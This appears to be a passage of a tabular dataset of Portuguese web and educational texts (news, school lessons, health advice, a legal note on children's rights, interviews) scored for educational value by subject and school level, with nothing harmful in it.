em preto e branco e uma colorida registradas em condições bem complicadas de iluminação – seja pelo contraste ou pelo momento das capturas. +Estranho, mas poderoso: veja as primeiras fotos clicadas com o Meizu Pro 7 Estranho, mas poderoso: veja as primeiras fotos clicadas com o Meizu Pro 7 Estranho, mas poderoso: veja as primeiras fotos clicadas com o Meizu Pro 7 Estranho, mas poderoso: veja as primeiras fotos clicadas com o Meizu Pro 7 +O gadget fez um bom trabalho nas imagens +Infelizmente, a equipe de Yang limou a marcação EXIF das fotos, impedindo que pudéssemos conferir mais detalhes a respeito dos arquivos e do hardware utilizado para fazer os cliques. Mesmo assim, partindo do princípio que a empresa não trapaceou completamente nessa divulgação e utilizou fotografias feitas por uma DSLR no lugar do celular, dá para dizer que o gadget fez um bom trabalho nessas imagens, não é? +Tudo indica que o Meizu Pro 7 pode ter uma dupla de sensores traseiros de 12 megapixels e que o kit pode fazer selfies de forma muito fácil graças à tela acoplada ao verso do equipamento. Boa parte desse mistério deve ser desvendado na semana que vem, já que o anúncio oficial do dispositivo está marcado para o próximo dia 26 de julho. +Depois de aposta na MTek, variante do Meizu Pro 7 deve ter chip Exynos 8895 +Segunda tela do Meizu Pro 7 vai ajudar em selfies com câmera traseira +Helio X30 será o processador do Meizu Pro 7, afirma MediaTek +Meizu Pro 7 quer ser o celular mais estranho da Terra; imagens vazadas +Vazamento mostra que Meizu tem concorrente de peso para o Xiaomi Mi Mix",original,original,original,original,0,0.0 +"Já parou para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a comida que comemos, a energia que acende a luz da nossa casa, até mesmo o celular que você está usando agora! Tudo isso, de alguma forma, está ligado aos recursos naturais. Mas, afinal, o que são esses recursos e por que são tão importantes? + +Recursos naturais são elementos da natureza que a sociedade utiliza para sobreviver e se desenvolver. Eles podem ser renováveis, como a água, o ar, o solo, a energia solar e a biomassa (matéria orgânica como plantas e restos de animais), ou não renováveis, como o petróleo, o carvão mineral, o gás natural e os minerais (ferro, alumínio, ouro, etc.). A diferença fundamental é que os renováveis, em teoria, se regeneram em um período de tempo razoável, enquanto os não renováveis levam milhões de anos para se formar e, uma vez esgotados, não podem ser repostos em uma escala de tempo humana. + +Imagine a seguinte situação: você abre a torneira para escovar os dentes. A água que sai dali é um recurso natural renovável, mas se a gente desperdiçar, ela pode acabar faltando, certo? O mesmo acontece com o solo, que é essencial para a agricultura. Se não cuidarmos do solo, ele pode ficar infértil e não produzir alimentos. A energia solar, por outro lado, é um exemplo de recurso renovável abundante, mas precisamos de tecnologia para aproveitá-la ao máximo, como os painéis solares. + +Já o petróleo, usado para fazer gasolina, plástico e muitos outros produtos, é um recurso não renovável. A extração e o uso do petróleo podem causar graves problemas ambientais, como a poluição do ar e da água. Por isso, é tão importante buscar alternativas mais sustentáveis, como os biocombustíveis e a energia eólica (dos ventos). Outro exemplo é o minério de ferro, essencial para a produção de aço, que usamos em construções, carros e muitos outros objetos. A mineração, se não for feita de forma responsável, pode devastar áreas inteiras e poluir rios. + +Cuidar dos recursos naturais é responsabilidade de todos nós. Pequenas atitudes no dia a dia podem fazer uma grande diferença. Economizar água, separar o lixo para reciclagem, usar transporte público ou bicicleta em vez de carro, consumir produtos de empresas que se preocupam com o meio ambiente… Tudo isso contribui para um futuro mais sustentável. Pense nisso: o planeta Terra é a nossa casa, e os recursos naturais são o tesouro que precisamos proteger para as próximas gerações. Que tal começar hoje mesmo a fazer a sua parte? Qual recurso natural você acha que precisa de mais atenção em sua cidade ou região? O que você pode fazer para ajudar a preservá-lo?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho recebe 5 pontos por apresentar alto valor educacional para o ensino fundamental. Introduz o conceito de recursos naturais de forma clara e didática, diferenciando renováveis e não renováveis com exemplos práticos e relevantes. Estimula a reflexão sobre o consumo consciente e a sustentabilidade, propondo ações simples que os alunos podem realizar no dia a dia. A linguagem é acessível e o conteúdo é adequado para a faixa etária, promovendo o engajamento e a conscientização ambiental.",5,1.0 +"Espécies nativas da Mata Atlântica, sugeridas para produção de mudas destinadas à projetos de restauração ecológica no estado do Rio de Janeiro. As informações que compõem essa...",original,original,original,original,1,0.2 +"Veja quando é ou não necessária a extração dos dentes do siso _ Festas & dicas +Você está em: Início saude Veja quando é ou não necessária a extração dos dentes do siso +Conhecidos popularmente como dentes do juízo, os dentes do siso geralmente são motivo de preocupação para os jovens, especialmente por conta da dor que podem causar. Até pouco tempo, a extração era a regra geral para evitar problemas. Hoje essa nem sempre é a realidade e vale analisar o seu caso antes de decidir. +Quando a dor é contínua, extração é a única opção. Foto: iStock, Getty Images +Dentes do siso devem ser extraídos ou não? +Atualmente, a orientação geral é a seguinte: se a erupção do dente for completa e ele estiver saudável, bem posicionado e oferecendo boas condições de higiene bucal, poderá ser preservado. Quem explica melhor a questão é o cirurgião-dentista Artur Cerri. +De acordo com o especialista, a conduta de extrair todo e qualquer dente do siso aumentou agressivamente na década de 50, por conta do acesso facilitado aos antibióticos e equipamentos elétricos. Mas novas diretrizes fizeram o número de extrações despencar a partir do início dos anos 2000. +“Trata-se de um procedimento doloroso para o paciente, com tempo de recuperação que pode levar até três semanas e necessidade de fazer uso de medicamentos potentes no pós-operatório. Sendo assim, a extração do siso tem de ser muito bem indicada”, aponta Cerri. +Em alguns casos, porém, a extração ainda se faz necessária. O grande problema é que, na maioria dos pacientes, não há espaço suficiente para que o nascimentos dos dentes ocorra, assim como a completa a erupção num ângulo ideal. +“Há casos em que ele permanece completamente escondido sob a gengiva – muitas vezes, em posição horizontal. Também pode acontecer de ele emergir parcialmente. Isso pode resultar num problema de grandes proporções no futuro, já que o paciente não terá condições de fazer uma higiene ideal”, esclarece o especialista. +Por isso, a extração costuma se justificar em casos recorrentes de dor, repetição de infecções, presença de cistos ou tumores, gengivite ou cárie profunda. Cabe ao seu dentista avaliar bem a situação e ajudar você a tomar a decisão certa. +Se após uma radiografia panorâmica da boca a avaliação do dentista apontar que você deve retirar os sisos, é importante ter atenção nos cuidados necessários após a cirurgia e evitar complicações. +“Após o procedimento cirúrgico, é normal ocorrer inchaço e dor por cerca de três a quatro dias. Nesse período, é fundamental evitar alimentos quentes e abrir mão das atividades físicas”, aconselha a gerente médica Talita Poli Biason. Ela compartilha ainda outras recomendações gerais: +Alimentação: nos dias que sucedem a cirurgia, a alimentação deve ser líquida e pastosa. Sopas, purês, vitaminas e sucos evitam desconfortos. +Medicação: na maioria das vezes, é necessário usar medicamentos para impedir infecções ou inflamações no local da extração. Podem ser usados analgésicos, anti-inflamatórios e, em alguns casos, até antibióticos, de acordo com as orientações médicas. +Fumo e bebida alcoólica: ambos prejudicam a cicatrização, já que as substâncias tóxicas do cigarro interferem na cura e o álcool irrita a mucosa oral. Portanto, evite até a retirada dos pontos. +E você, já teve que fazer a extração dos dentes do siso? Conte como foi a sua experiência.",original,original,original,original,3,0.6 +"Uma equipe de pesquisadores está desenvolvendo painéis solares que também produzem água potável - InovaSocial +Uma equipe de pesquisadores está desenvolvendo painéis solares que também produzem água potável +Publicado em 12/07/2019 / por Inova Social / em Soluções de Impacto +Pode parecer chocante, mas é verdade: 783 milhões de pessoas ao redor do mundo não têm acesso a água potável. Apesar de nosso planeta ter uma quantidade quase infinita de água, a maior parte dela está em nossos oceanos, cheia de sal. Embora seja possível dessalinizar parte dessa água, o processo tem um alto custo e usa muita energia. +Pensando nisso, um novo projeto de pesquisa da Universidade de Ciência e Tecnologia Rei Abdullah (Thuwal, Arábia Saudita), publicado na Nature, desenvolveu um painel solar que funciona como um purificador de água, bombeando a água do oceano e a tornando potável, ao mesmo tempo que não causa gasto de energia para uma casa ou edifício. +Tudo começa com um painel solar comum, que só pode transformar cerca de 20% da energia em eletricidade, enquanto perde os outros 80% para o ar, em forma de calor. Até então, esse calor era considerado um desperdício, mas o sistema desenvolvido pelos pesquisadores usa esse calor para purificar a água. +O calor ambiente é direcionado para um sistema de tubos bombeados com água do mar. Uma vez aquecida, a água do mar evapora através de várias membranas de vidro de quartzo fibroso, que purifica a água, filtrando-a através de tubos minúsculos. Ao mesmo tempo, camadas condutoras dentro dos tubos continuam a recapturar o calor, para alimentar o processo de evaporação de novo e de novo. +Segundo Peng Wang, um dos pesquisadores, o protótipo ainda tem muito espaço para melhorias de eficiência, mas pode gerar quantidades significativas de água limpa e dessalinizada. Cada metro quadrado de painéis solares é capaz de produzir 1,64 litro de água por cada hora. Assim, uma casa com 180m2 de painéis solares no telhado poderia produzir 23 litros de água potável por hora. +Para o pesquisador, a ideia do projeto não é a substituir as usinas de dessalinização em larga escala, mas sim para fornecer água potável em escala descentralizada em áreas com densidade populacional baixa a média.” +A tecnologia desenvolvida por Wang e sua equipe ainda precisará ser otimizada em pesquisas futuras antes que possa ser aplicada em larga escala, mas, considerando que 40% da população mundial vive perto de uma costa, não há dúvidas de que essa é mais uma ideia que pode trazer resultados grande impacto para o planeta e melhorar a vida um número gigante de pessoas que vivem ao redor dele. +ÁguaCiênciaEnergia LimpaEnergia SolarPlanetaPlantaSustentabilidade +Post anteriorNUGGS: Essa nova marca de carne plant based foi criada por um jovem de 19 anos! +Próximo postGoogle anuncia estratégia de economia circular em suas operações no mundo todo",original,original,original,original,4,0.8 +"A atleta Angélica Kvieczynski, ginasta da Sadia, viaja nesta quarta-feira, 28, em direção a Aracaju, onde vai participar de uma clínica de ginástica com uma técnica russa, de 30 de janeiro a 6 de fevereiro. Ela vem a convite da Confederação Brasileira de Ginástica e vai avaliar as séries da atleta para as competições deste ano, incluindo os Jogos Pan-Americanos, ... Leia Mais » +A equipe da Sadia/Prefeitura de Toledo/Sesi ficou em quarto lugar por equipe no Campeonato Brasileiro de Ginástica Rítmica, que encerrou neste domingo, 10, em Vitória, no Espírito Santo, juntamente com a III etapa do Circuito Caixa. A equipe, formada pelas ginastas Morgana Gmach, Giovana Oliveira Silva e Thainá Feroldi, competiu sem os seus principais destaques, as atletas Angélica Kvieczynski, Simone ... Leia Mais » +A atleta Angélica Kvieczysnki, da Sadia/Prefeitura de Toledo/Sesi, acompanhada da técnica Anita Klemann, que também acumula o comando da seleção brasileira individual, viajaram nesta quarta-feira, 12, para Santiago, no Chile, onde participam dos Jogos Sul-Americanos, , nos dias 17 e 18 de março. A atleta retornou da França, na terça-feira à tarde, onde participou do Grand Prix de Thiais, como ... Leia Mais » +Técnica participa de reunião do COB no Rio de Janeiro +A técnica Anita Klemann, da equipe de rendimento da Sadia/Prefeitura de Toledo/Sesi, participou na última sexta-feira, 24, no Rio de Janeiro, de uma reunião com o Comitê Olímpico Brasileiro sobre a realização dos Jogos Sul-Americanos, de 15 a 18 de março, em Santiago, no Chile. A reunião contou com a participação de técnicos desportivos de várias modalidades e serviu para ... Leia Mais »",original,original,original,original,1,0.2 +"Recolhimento e Internação Compulsórios de Crianças e Adolescentes em Situação de Rua e Usuários de Drogas +O CONANDA – Conselho Nacional dos Direitos da Criança e do Adolescente, órgão deliberativo do sistema de garantia de direitos da criança e do adolescente no Brasil, criado pela Lei 8.069, Estatuto da Criança e do Adolescente, na forma do art. 227 da Constituição Federal, e composto, paritariamente, por membros do governo e da sociedade civil organizada, cuja missão é a garantia e a defesa dos direitos humanos de crianças e adolescentes, em razão da publicação e implementação da resolução nº 20/2011 da Secretaria Municipal de Assistência Social do Rio de Janeiro, de 27/05/2011, intitulada Protocolo de Abordagem à Pessoa em Situação de Rua, no uso das atribuições que lhe conferem a Constituição e a Lei 8.069/90, se manifesta pela presente nota técnica: +A Convenção Internacional Sobre os Direitos da Criança, aprovada pela Assembléia Geral da Organização das Nações Unidas em 1989, no que tange ao direito à saúde, dispõe: +Art. 24.1 – “Os Estados Partes reconhecem o direito da criança de gozar do melhor padrão possível de saúde e dos serviços destinados ao tratamento das doenças e à recuperação da saúde. Os Estados Partes envidarão esforços no sentido de assegurar que nenhuma criança se veja privada de seu direito de usufruir desses serviços sanitários.” +Da mesma forma, em seu artigo 37, b, a Convenção Internacional Sobre os Direitos da Criança assegura que nenhuma criança ou adolescente será privado de sua liberdade de forma ilegal ou arbitrária, configurando este um direito fundamental das crianças e adolescentes, senão vejamos: +Art. 37.b – “nenhuma criança seja privada de sua liberdade de forma ilegal ou arbitrária. A detenção, a reclusão ou a prisão de uma criança será efetuada em conformidade com a lei e apenas como último recurso, e durante o mais breve período de tempo que for apropriado; +Já a Constituição da República Federativa do Brasil, em seu artigo 5º, incisos LIV, LXI, dispõe sobre os direitos e garantias individuais de todos os cidadãos, dentre os quais destaca-se a liberdade ambulatorial: +Art. 5º. “LIV - ninguém será privado da liberdade ou de seus bens sem o devido processo legal;” +Art. 5º. “LXI - ninguém será preso senão em flagrante delito ou por ordem escrita e fundamentada de autoridade judiciária competente, salvo nos casos de transgressão militar ou crime propriamente militar, definidos em lei;”(GRIFOS NOSSOS) +Importante destacarmos que a titularidades dos direitos constitucionais supra citados não limitar-se-ão aos cidadãos que completaram a capacidade civil ou penal, mas sim a todos os brasileiros e brasileiras sem distinção etária, de gênero, orientação sexual, etnia, entre outras. +Em seu artigo 227 a nossa Constituição versa exclusivamente sobre os direitos da criança, do adolescente e do jovem e, novamente, os direitos à liberdade e à saúde merecem destaque, conforme podemos observar: +Art. 227 – “É dever da família, da sociedade e do Estado assegurar à criança, ao adolescente e ao jovem, com absoluta prioridade, o direito à vida, à saúde, à alimentação, à educação, ao lazer, à profissionalização, à cultura, à dignidade, ao respeito, à liberdade e à convivência familiar e comunitária, além de colocá-los a salvo de toda forma de negligência, discriminação, exploração, violência, crueldade e opressão.”(GRIFOS NOSSOS) +Apesar de não haver nenhuma limitação acerca da efetividade dos direitos elencados no artigo 5º da Constituição no que tange a crianças e adolescentes, o poder constituinte originário, quando tratou especificamente sobre os direitos da infância e da adolescência, optou por reafirmar o direito à liberdade destas crianças e adolescentes, impedindo desta forma qualquer exercício hermenêutico que privilegie a sua institucionalização. Neste mesmo sentido dispõe o artigo 3º da Lei 8.069/90, Estatuto da Criança e do Adolescente: +Art. 3º - “A criança e o adolescente gozam de todos os direitos fundam...",original,original,original,original,4,0.8 +"Arqueólogos desenterram embarcação de Faraó no Egito | Portal Marítimo +Ínicio Ciências Náuticas Arqueólogos desenterram embarcação de Faraó no Egito +Arqueólogos desenterram embarcação de Faraó no Egito +Arqueólogos japoneses e egípcios começaram a desenterrar nesta quinta feira um barco de mais de 4,5 mil anos encontrado próximo à Grande Pirâmide de Gizé, uma das principais atrações turísticas do Egito e que acredita-se ter sido construída por ordem do faraó Quéops para servir como sua tumba. +A embarcação é uma das duas enterradas junto com o faraó da Quarta Dinastia, que governou o Egito Antigo durante 23 anos por volta de 2680 a.C., e deveriam carregar sua alma em viagens diárias acompanhando o deus-Sol Amon-Rá, do qual era considerado filho, no mundo pós-vida. +O primeiro barco, com cerca de 140 pés de comprimento (43 metros), foi descoberto desmontado em um poço ao lado da pirâmide em 1954. Suas 1224 partes foram remontadas em 1971 e ele está em exposição em um museu no local. Ainda em 1954, os arqueólogos encontraram evidências de um segundo poço que guardaria outro barco também desmontado, o que só foi confirmado por pesquisas em 1987. Agora, os arqueólogos removeram os 41 blocos de calcário de 16 toneladas cada que o cobriam e darão início a sua restauração, patrocinada por um fundo de US$ 10 milhões da Universidade de Waseda, no Japão. +– Este é um dos mais importantes projetos de arqueologia e conservação do mundo – considerou Zahi Hawass, arqueólogo e ministro de Antiguidades do Egito. +Um para viajar de dia e outro de noite +Segundo os pesquisadores, as duas embarcações são irmãs e foram feitas de cedro libanês e acácias egípcias. Embora sua aparência seja semelhante, eles acreditam que o segundo barco é um pouco menor e esperam recolher ao menos 600 peças que o compõem nos próximos dois meses. Ambos foram cuidadosamente depositados nas duas câmaras como se fossem móveis pré-fabricados, com os componentes agrupados em sequência para serem remontados. +Por isso, Hawass não crê que um dos barcos tenha sido usado para carregar o corpo de Quéops na procissão funerária entre seu palácio em Mênfis e a tumba em Gizé. Segundo ele, as embarcações tinham uma função simbólica, pois os antigos egípcios acreditavam que o Sol cruzava o céu de Leste a Oeste a bordo de um barco diurno chamado Mandjet, tomando então um barco noturno batizado Mesektet para fazer a viagem de volta do submundo. +– Assim, um barco era para carregar o faraó pelo céu diurno, enquanto o outro era para sua viagem noturna – explicou Hawass ao site “Discovery News”. +Já quanto ao fato de os barcos estarem desmontados, o arqueólogo afirma que isso não seria problema, pois o deus-Sol sabia como reconstruí-los. O mesmo, no entanto, não se pode dizer dos restauradores responsáveis pelo projeto. Apesar de as peças estarem agrupadas em uma ordem pronta para montagem, Ahmad Youssef, restaurador-chefe do Departamento de Antiguidades do Egito, levou 13 anos para terminar o trabalho com o primeiro barco. Já para o segundo, a expectativa é de que ele esteja pronto em quatro anos, quando então substituirá a primeira embarcação no museu próximo à Grande Pirâmide, que por sua vez será exposta no Grande Museu Egípcio, atualmente em construção no Cairo. +Artigo anteriorBrasil Offshore fecha a conta em R$ 170 milhões em negócios +Artigo seguinteNada de acordo – Justiça decidirá sobre os Royalties",original,original,original,original,5,1.0 +"palavra do autor +De volta às brochuras +Loyola Brandão foi repórter e diretor de revista. Hoje, se diz um ""jornalista ocasional"": mais tempo para os livros +Inês Pereira +Escritor de romances, contos, crônicas, Ignácio de Loyola Brandão acaba de receber o Prêmio Jabuti na categoria Melhor Ficção pelo livro ""O Menino que Vendia Palavras"". Conquistou tantos leitores com seus livros quanto com a Vogue, revista da qual foi diretor de redação durante 15 anos e onde também colecionou tantas histórias. Descreve-se, atualmente, um jornalista ocasional. ""Minha carreira de repórter, editor, diretor, considero acabada. O cronista é um jornalista, mas na verdade é muito mais um escritor. E é assim que me realizo"", diz. Há dois anos, ele deixou a redação para voltar a escrever livros. ""Gosto de remexer a história da iniciativa privada."" Sua agenda também reserva tempo para projetos como a biografia de Olavo Setúbal - que concluiu a tempo de ser vista pelo banqueiro, antes que ele morresse - e a história do seu avô, ""um marceneiro de enorme talento, um verdadeiro escultor"", descreve. Mas como o jornalista nunca perde a mão, Loyola também pode ser lido quinzenalmente no Estado de S. Paulo e nas entrevistas mensais que publica na Vogue. +Durante quanto tempo o sr. se dedicou exclusivamente à literatura?Consegui sobreviver de literatura apenas entre 1979 e 1980, com livros e escritos. Entre 1982 e 1984, vivi na Alemanha com uma bolsa de uma instituição cultural. A partir de 1990, voltei à atividade diária como jornalista, dirigindo a Vogue. Diria que somente Paulo Coelho e Luis Fernando Verissimo vivem de sua literatura. Nós outros temos ofícios complementares. +A política de direitos autorais e a venda de livros permitem que se ganhe razoavelmente?Nem pensar. Para viver razoavelmente, um escritor teria que ter um grande sucesso que vendesse um milhão de exemplares, e possibilitasse fazer um pé-de-meia ou ter livros que vendessem uns 30 mil exemplares por mês. Na ficção ninguém faz isso no Brasil, com exceção dos dois citados. +O que o sr. acha da produção literária no Brasil?Continua como sempre, os ""velhos"" produzindo, os novos surgindo, uns bons, outros não. Os jovens hoje têm os blogs, o que significa uma maneira de ser lido, o que não existia em nosso tempo. Naquela época, não fosse publicado, ninguém sabia que você existia. +Quando o sr. se afastou da redação? Como é o seu dia-a-dia hoje?Da Vogue afastei-me há dois anos. Hoje faço uma entrevista por mês e a página de livros. Meu cotidiano? Escrever livros institucionais como a história da Copag, de baralhos, da Klabin, de papéis, da lanchonete Frevo, a Taxi Aéreo Líder. Gosto de remexer a história da iniciativa privada. Mas terminei também a biografia do Olavo Setúbal, o fundador do Itaú, história incrível de um homem empreendedor e revolucionário. Escrevo a crônica do Estadão e faço palestras pelo país afora. +A sua história com a Vogue é longa... Pode destacar algumas passagens? A convivência com Luis Carta, um gênio do jornalismo, criador de revistas. Também destaco a maior entrevista que a Gisele Bündchen já deu a um jornalista. Foram cinco horas de conversa, ela que geralmente dá 20 minutos a um repórter. O ter colocado numa revista de moda temas como a justiça brasileira, os bastidores do parlamento brasileiro, os sem terra, as penitenciárias. Acho que ajudei o Andrea Carta (já falecido) a tirar a revista de um buraco nos anos 90. A revista hoje está numa fase efervescente sob direção de Patrícia Carta, que herdou o talento do pai e do irmão e segurou a publicação em momento bastante complicado emocionalmente para ela. +Foi difícil conciliar a função de diretor de redação com a de escritor? Nunca misturei os dois. Na redação, nunca escrevi textos literários. Fora dela, meu tempo era para a literatura.O sr. também passou por outras editoras importantes, como a Abril e a Três. O que extrairia de fundamental da trajetória pelas redações?Aprender a fazer revista mensal. Aprender a olhar para o ...",original,original,original,original,3,0.6 +"Minutos. Segundos. Esse é o tempo necessários para que a internet nos ponha na onda de mais uma de suas revoluções e novidades. Dentre os assuntos mais recentes se encontram as Empresas Virtuais. ++ +Minutos. Segundos. Esse é o tempo necessários para que a internet nos ponha na onda de mais uma de suas revoluções e novidades. Dentre os assuntos mais recentes, se encontram as Empresas Virtuais. +'''Autor:'''[[Usuário:Detlef|Diego de Brito]] +'''Autor:'''[[Usuário:Detlef|Diego de Brito]] +Linha 21: Linha 21: +== Introdução == +== Introdução == +− +No início da década de 60, foi criado nos EUA uma rede interligando os laboratórios de pesquisa do Departamente de Defesa Note-Americano. Com o objetivo e interligar também as universidades a esses laboratórios, essa rede se expandiu. Essa expanção foi tanta que, pouco tempo depois, já interligava laboratórios de de outros países e continentes, tendo por fim se tornar a internet que conhecemos hoje. +− +Durante os últimos 40 anos, a internet vem sofrendo mudanças e aperfeiçoamentos, representando grandes revoluções nos conceitos da época, não só em termos de rede mas como informática em geral. +− +Duas décadas depois, a internet foi liberada para uso comercial. Provedores surgiam nos EUA e a internet se popularizou, chegando no Brasil na década de 90. +− +Hoje, institutos de pesquisas de várias partes do mundo prevêem transações via WEB que atinjam a cifra de 3,2 trilhões de dólares. +− +== MUDANÇAS == +== MUDANÇAS == +Linha 67: Linha 62: +=== Empresa Virtual x Negócios Virtuais === +=== Empresa Virtual x Negócios Virtuais === +− +As empresas virtuais são confundidas com aquelas montadas na sala de visitas ou no quarto. Embora estas possam, realmente, serem virtuais, o que mais caracteriza este tipo de empresa não é a ausência de escritórios ou instalações físicas. É a capacidade de produzir produtos e serviços sob demanda. No ponto de vista organizacional, aparece sem fronteiras, com constante mutação nos cargos e nas responsabilidades. ++ +As empresas virtuais são confundidas com aquelas montadas na sala de visitas ou no quarto. Embora estas possam, realmente, serem virtuais, o que mais caracteriza este tipo de empresa não é a ausência de escritórios ou instalações físicas, e sim a capacidade de produzir produtos e serviços sob demanda. No ponto de vista organizacional, aparece sem fronteiras, com constante mutação nos cargos e nas responsabilidades. +'''Autor:'''[[Usuário:Detlef|Diego de Brito]] 21:42, 3 Abril 2008 (BRT) +'''Autor:'''[[Usuário:Detlef|Diego de Brito]] 21:42, 3 Abril 2008 (BRT) +Linha 79: Linha 74: +'''Autor:'''[[Usuário:Detlef|Diego de Brito]] +'''Autor:'''[[Usuário:Detlef|Diego de Brito]] ++ +== Organograma == ++ ++ +Tanto a maneira de gerenciar como de trabalhar é muito alterada neste tipo de empresa. Em primeiro lugar, desaparece a figura do organograma, que muitos ainda insistem em seguir. Ele é melhor substituído por um desenho de rede. Isto não é apenas figurado. As pessoas devem entender que as fronteiras da organização foram implodidas, ampliadas até o limite do global. Não existem restrições a priori de associação. Não existem inimigos. Existem parceiros que mudam a cada nova solicitação de produto ou serviço. A única coisa que importa é a rapidez no atendimento a uma solicitação e a qualidade. A decorrência dos preços e dos custos terem que ser competitivos é natural, porque os parceiros estarão sempre procurando as melhores ofertas. ++ ++ +[[Imagem:Organograma.jpg]] +== Exemplos == +== Exemplos == +Linha 89: Linha 89: +=== Links === +=== Links === +− +− +[http://ucsnews.ucs.br/forumgc/rolando/sld001.htm Apresentação (Slides) sobre o tema] +− +− +[http://www.castro.to/artigos/art_empresavirtual.htm Link3 do Google] +[http://wnews.uol.com.br/site/noticias/materia.php?id_secao=1&id_conteudo=4544 Matéria UOL] +[http://wnews.uol.com.br/site/noticias/materia.php?id_secao=1&id_conteudo=4544 Matéria UOL] +[http://www.skyrme.com/insights/2virtorg.htm Página em Inglês] +[http://www.skyrme.com/insights/2virtorg.htm Pág...",original,original,original,original,2,0.4 +"Olá, pequenos exploradores da língua portuguesa! Preparados para uma aventura incrível no mundo das palavras? Hoje, vamos descobrir juntos alguns segredos da gramática, de um jeito super divertido e fácil de entender! Imagine que as palavras são como peças de um quebra-cabeça. Cada peça tem seu lugar e sua função, e quando as juntamos corretamente, formamos frases lindas e cheias de sentido. + +Vamos começar conhecendo os ""nomes"" das coisas, pessoas e lugares. Sabem como chamamos esses nomes? Substantivos! Tudo o que existe tem um substantivo. Por exemplo, ""cachorro"", ""menina"", ""escola"", ""árvore"" e até mesmo ""alegria"" são substantivos. Que tal olhar ao seu redor e encontrar cinco substantivos agora mesmo? + +Agora, que tal darmos uma corzinha a esses substantivos? Para isso, usamos os adjetivos! Os adjetivos são como os temperos de uma receita, eles deixam tudo mais interessante! Eles nos contam como são os substantivos, suas características. Por exemplo, podemos dizer que o ""cachorro"" é ""peludo"", que a ""menina"" é ""inteligente"", que a ""escola"" é ""grande"" e que a ""árvore"" é ""verde"". Viu só como os adjetivos deixam tudo mais claro e divertido? Experimente usar adjetivos para descrever seus brinquedos favoritos! + +E para juntar todas essas palavrinhas, usamos os verbos! Os verbos são as ações, o que as pessoas, os animais e as coisas fazem. Por exemplo, o cachorro pode ""latir"", a menina pode ""pular"", a escola pode ""ensinar"" e a árvore pode ""crescer"". Preste atenção nas ações que você faz durante o dia: ""comer"", ""dormir"", ""brincar"", ""estudar"". Todos esses são verbos! Que tal criar uma frase bem legal usando um substantivo, um adjetivo e um verbo? Por exemplo: ""A menina esperta lê um livro interessante"". + +Entender a gramática não precisa ser chato! É como aprender a usar as ferramentas certas para construir as frases mais bonitas e criativas. Com os substantivos, adjetivos e verbos, podemos contar histórias incríveis e expressar tudo o que sentimos e pensamos. Então, continue explorando, perguntando e se divertindo com as palavras! E lembrem-se, a gramática é nossa amiga, e está aqui para nos ajudar a nos comunicarmos cada vez melhor!",Português,Gramática básica,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir conceitos básicos de gramática (substantivos, adjetivos e verbos) de forma lúdica e acessível para crianças, utilizando exemplos práticos e incentivando a interação. A linguagem é clara e adequada ao público infantil, promovendo o aprendizado de forma divertida e contextualizada. O texto é bem estruturado e focado no tema, sem informações irrelevantes, o que o torna adequado para uso em sala de aula. Ele atende aos critérios 1, 2, 3, 4 e 5.",5,1.0 +"Matérias: Meninos vestem azul e meninas vestem rosa! +Então, meninos e meninas, já sabemos que a sociedade em qual vivemos molda nossos valores não é mesmo? E sabemos também que esses valores são arcaicos, burgueses e extremamente cristãos. +Então meus caros, para essa sociedade, pessoas que tem opiniões diferentes, sendo elas gays, lésbicas, bissexuais, ou até mesmo heteros incompreendidos, temos também nesse grande miscelânea humana, judeus, pagãos, comunistas, socialistas, punks, músicos, poetas, artistas, mulheres que não aceitam o machismo (como por exemplo uma menina que transa pela 1º vez com 15 anos é a vergonha dos pais, agora um menino que transa com 15 é o orgulho), entre outras pessoas, seres humanos descriminados nesse grande show... No caso para alguns seria um show de horrores. +Mas, por que devemos aceitar isso? Somos humanos, pessoas como todos os outros, sentimos dor, raiva, amor, sede, fome, orgulho, compaixão, afeto, e isso não muda de humano para humano, apenas pelo simples fato de sexo, cor, raça ou crença. +A sociedade em que vivemos possui uma grande variedade de pessoas. E pensar que guerras, ódio, maldade começam por um simples componente de uma pessoa fora do padrão. +Será que realmente existe tanto motivo para incompreensão da raça humana? E também digo e repito: hipócrita aquele que é julgado pela sua opção e ainda julga os outros pela mesma. +Vamos tentar mudar esse mundo, vamos tentar mudas pensamentos arcaicos, fico imaginando... Li numa matéria em que no futuro as pessoas serão bissexuais e andróginas (será que seremos como David Bowie? Temos que por um toque de humor nisso tudo meus caros!) e as pessoas hoje em dia, tem repugnância pelas pessoas bissexuais, e o futuro meus caros, se a matéria que eu tinha lido tiver acertado, ele bate na nossa porta... E falo ainda algo, por que esperar o futuro todas as pessoas compreenderem enquanto podemos acabar com esse tal de preconceito agora? +Então meus caros leitores, espero que depois de terminarem de ler isso agora, levantem da cadeira do computador e vá mudar algo, vá opinar, vá lutar pelos seus direitos, pois a mudança se faz lá fora, na rua!. Por: Lucas Magno",original,original,original,original,2,0.4 +"Carlos Lyra é um dos criadores da Bossa Nova, gênero que floresceu no Rio de Janeiro no final da década de 50, e que encantou e encanta o mundo até hoje, continua ativo, compondo e se apresentando pelo Brasil e pelo mundo. Seu ritmo e ginga, de acordo com palavras de Tom Jobim, são ímpares e suas melodias fornecem um apanhado da cultura brasileira com informações de todas as regiões do Brasil. Neste show instrumental, Carlos Lyra apresentou, dentre suas composições, um variado leque de ritmos, tanto com influências da música europeia e americana como da enorme diversidade que é a marca registrada do nosso país. Passando por valsas, modinhas jazz e música espanhola, ele mesclou com as influências brasileiras os sambas, marchas, toadas, choros e vários outros ritmos típicos das diversas regiões do país. (Instrumental SESC) +Formação: +Carlos Lyra – violão +Dirceu Leite – sax, flauta e clarinete +Vander Nascimento – trompete e flugel +Fernando Merlino – piano +Adriano Giffoni -baixo +Ricardo Costa – bateria +Reginaldo Vargas – percussão +Compartilhe Isso: +Clique para compartilhar no Facebook(abre em nova janela) +Clique para enviar um link por e-mail para um amigo(abre em nova janela) +Clique para compartilhar no Twitter(abre em nova janela) +Curtir isso: +Curtir Carregando... +30 de junho de 2015 0 +Homenagem: Ben E. King +Esta homenagem está atrasada, mas não podemos também deixar de registar mais uma grande perda para a música pop/soul. Faleceu Ben E. King, no dia 30/04/2015. King nasceu dia 28 de setembro de 1938 na Carolina do Norte. Foi um cantor de soul completo e fez muito sucesso nas décadas de 1950,60 e 70. Ben E king foi o cantor principal de um grupo de muito êxito, The Drifters, com os quais ele emplacou seu primeiro hit There goes my baby , em 1959. Os sucessos com os Drifters são clássicos da soul music: This magic moment, I count the tears, Save the last dance for me, entre eles. O maior sucesso de Ben em sua carreira solo é indiscutivelmente 